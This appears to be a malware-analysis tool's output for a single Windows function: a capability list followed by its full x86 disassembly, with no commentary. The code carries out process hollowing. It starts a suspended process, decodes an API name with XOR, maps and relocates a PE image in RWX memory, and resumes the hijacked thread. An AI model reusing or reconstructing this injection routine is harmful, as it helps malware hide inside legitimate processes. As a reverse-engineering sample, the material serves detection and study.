Function at 0x404780
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3c8
push esi
push edi
lea eax, [ebp - 0x34]
mov dword [ebp - 0xe0], 0x44
push eax
lea eax, [ebp - 0xe0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push dword [ebx + 8]
movups xmmword [ebp - 0x34], xmm0
movlpd qword [ebp - 0xdc], xmm0
movlpd qword [ebp - 0xd4], xmm0
movlpd qword [ebp - 0xcc], xmm0
movlpd qword [ebp - 0xc4], xmm0
movlpd qword [ebp - 0xbc], xmm0
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404ed9
mov esi, dword [ebx + 0x10]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x404ed9
push esi
push dword [ebx + 0xc]
push edi
call fcn.004a1bf0
mov edi, dword [edi + 0x3c]
lea eax, [ebp - 0x3c4]
add edi, dword [ebp - 0x10]
push 0x2c8
push 0
push eax
mov esi, dword [edi + 0x34]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], esi
call fcn.004a2550
add esp, 0x18
mov dword [ebp - 0x3c8], 0x10002
lea eax, [ebp - 0x3c8]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404ed9
mov eax, dword [ebp - 0x324]
lea ecx, [ebp - 0x94]
push ecx
push 4
lea ecx, [ebp - 0x3c]
add eax, 8
push ecx
push eax
push dword [ebp - 0x34]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x404ed9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x404b33
mov ax, word [0x4c0678]
movq xmm0, qword [str.XCUV]
movq qword [ebp - 0x82], xmm0
mov word [ebp - 0x7a], ax
test ah, ah
je 0x404919
xor edx, edx
mov dword [ebp - 4], edx
mov eax, 0x1f7047dd
mul edx
mov eax, dword [ebp - 4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 4]
shr eax, 5
mov cl, dl
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x82], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xa
jl 0x4048e6
lea eax, [ebp - 0x82]
push eax
lea ecx, [ebp - 0xf8]
call fcn.00404740
cmp dword [eax + 0x14], 0x10
jb 0x404933
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xf8]
mov esi, eax
call fcn.00401290
mov ecx, dword [0x4c068c]
xor edx, edx
cmp dword [0x4dcc20], 2
movups xmm0, xmmword [str.xCmWWZLkWZ7]
mov dword [ebp - 0x55], ecx
mov cl, byte [0x4c0690]
movups xmmword [ebp - 0x65], xmm0
mov byte [ebp - 0x51], cl
mov dword [ebp - 4], edx
jl 0x404ac0
movaps xmm0, xmmword [str.6666666666666666]
mov eax, 5
movaps xmm4, xmmword [0x4c0630]
movaps xmm3, xmmword [0x4c06d0]
movaps xmm6, xmmword [str.9999]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x90], xmm0
mov ecx, dword [ebp - 0x90]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x65]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x65], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4c06b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x61]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x61], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4049b1
mov dword [ebp - 4], edx
cmp edx, 0x15
jge 0x404af1
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x65], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x15
jl 0x404ac0
lea eax, [ebp - 0x65]
push eax
lea ecx, [ebp - 0x90]
call fcn.00404740
cmp dword [eax + 0x14], 0x10
jb 0x404b08
mov eax, dword [eax]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x90]
mov esi, eax
call fcn.00401290
push dword [ebp - 0xc]
push dword [ebp - 0x34]
call esi
add esp, 8
test eax, eax
jne 0x404ed9
mov esi, dword [ebp - 0x1c]
push 0x40
push 0x3000
push dword [edi + 0x50]
push esi
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call esi
mov dword [ebp - 8], eax
test eax, eax
jne 0x404b7d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x404ed9
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
push dword [ebp - 0x34]
call esi
mov dword [ebp - 8], eax
test eax, eax
je 0x404ed9
cmp dword [ebp - 0xc], eax
je 0x404ba0
lea eax, [ebp - 0x38]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ed9
mov edx, edi
mov eax, 2
mov word [edx + 0x5c], ax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x1c]
je 0x404d44
test byte [edx + 0x16], 1
jne 0x404ed9
movzx eax, word [edx + 0x14]
lea edi, [edx + 0x18]
add edi, eax
mov dword [edx + 0x34], ecx
movzx ecx, word [edx + 6]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x14], edi
test ecx, ecx
je 0x404c0c
movzx eax, word [edx + 6]
lea ecx, [edi + 8]
mov edi, dword [ecx + 4]
cmp dword [edx + 0xa0], edi
jb 0x404c02
mov eax, dword [ecx]
add eax, edi
cmp dword [edx + 0xa0], eax
jb 0x404d06
movzx eax, word [edx + 6]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x404be3
xor eax, eax
mov esi, dword [ebp - 0x10]
xor edi, edi
mov dword [ebp - 0xc], edi
lea ecx, [eax + esi]
mov eax, dword [edx + 0xa4]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x404dfa
nop dword [eax + eax]
mov eax, dword [edi + ecx + 4]
mov esi, 0
mov dword [ebp - 0x24], esi
lea ecx, [eax - 8]
shr ecx, 1
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 4]
lea ecx, [ecx + 8]
lea ecx, [ecx + edi]
mov dword [ebp - 0x48], ecx
je 0x404d30
nop word [eax + eax]
movzx ecx, word [ecx + esi*2]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x404c7e
cmp eax, 0xa
jne 0x404cea
mov eax, dword [ebp - 0xc]
mov edi, ecx
mov ecx, dword [ebp - 4]
add edi, dword [eax + ecx]
movzx eax, word [edx + 0x14]
add edx, 0x18
mov ecx, dword [ebp - 0x18]
add eax, edx
mov dword [ebp - 0x14], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0x20], eax
movzx ecx, word [ecx + 6]
mov dword [ebp - 0x40], ecx
test ecx, ecx
je 0x404cd0
mov eax, dword [ebp - 0x14]
add eax, 8
mov esi, dword [eax + 4]
cmp edi, esi
jb 0x404cc2
mov ecx, dword [eax]
add ecx, esi
cmp edi, ecx
jb 0x404d1d
mov ecx, dword [ebp - 0x40]
inc edx
add eax, 0x28
cmp edx, ecx
jb 0x404cb0
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
sub dword [eax + edx], ecx
mov ecx, dword [eax + edx]
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x20]
mov dword [ecx + edx], eax
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x48]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, dword [ebp - 0x44]
jb 0x404c60
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov eax, dword [edi + ecx + 4]
jmp 0x404d33
mov ecx, dword [ebp - 0x14]
lea eax, [esi + esi*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, edi
add eax, dword [edx + 0xa0]
jmp 0x404c0c
mov ecx, dword [ebp - 0x14]
lea eax, [edx + edx*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, esi
add eax, edi
mov dword [ebp - 0x20], eax
jmp 0x404ccd
mov ecx, dword [ebp - 4]
add edi, eax
mov dword [ebp - 0xc], edi
cmp edi, dword [ebp - 0x38]
jb 0x404c30
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 0x10]
mov eax, dword [edx + 0x28]
add eax, ecx
mov dword [ebp - 0x318], eax
lea eax, [ebp - 0x3c8]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x404ed9
mov edi, dword [ebp - 0x18]
lea eax, [ebp - 0x4c]
push eax
push dword [edi + 0x54]
push esi
push dword [ebp - 8]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ed9
lea eax, [ebp - 0x50]
push eax
push 2
push dword [edi + 0x54]
push dword [ebp - 8]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x404ed9
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0xc], 0
mov esi, dword [ecx + 0x3c]
add esi, 0x104
cmp ax, word [edi + 6]
jae 0x404ebd
add esi, ecx
lea eax, [ebp - 0x4c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
add eax, ecx
push eax
mov eax, dword [esi]
add eax, dword [ebp - 8]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ed9
movzx eax, word [edi + 6]
dec eax
cmp dword [ebp - 0xc], eax
jne 0x404e02
mov edx, dword [edi + 0x50]
jmp 0x404e05
mov ecx, dword [ebp - 8]
jmp 0x404d47
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x18]
mov eax, ecx
sub edx, dword [esi]
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x404e1f
mov eax, 0x40
jmp 0x404e8b
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x404e34
mov eax, 0x20
jmp 0x404e8b
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x404e49
mov eax, 0x80
jmp 0x404e8b
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x404e5e
mov eax, 4
jmp 0x404e8b
test ecx, 0x20000000
je 0x404e6d
mov eax, 0x10
jmp 0x404e8b
test ecx, 0x40000000
je 0x404e7c
mov eax, 2
jmp 0x404e8b
test ecx, ecx
mov eax, 1
mov ecx, 8
cmovs eax, ecx
lea ecx, [ebp - 0x50]
push ecx
push eax
mov eax, dword [ebp - 8]
add eax, dword [esi]
push edx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x404ed9
mov ecx, dword [ebp - 0xc]
add esi, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0xc], ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
jl 0x404dc7
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x404ed9
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret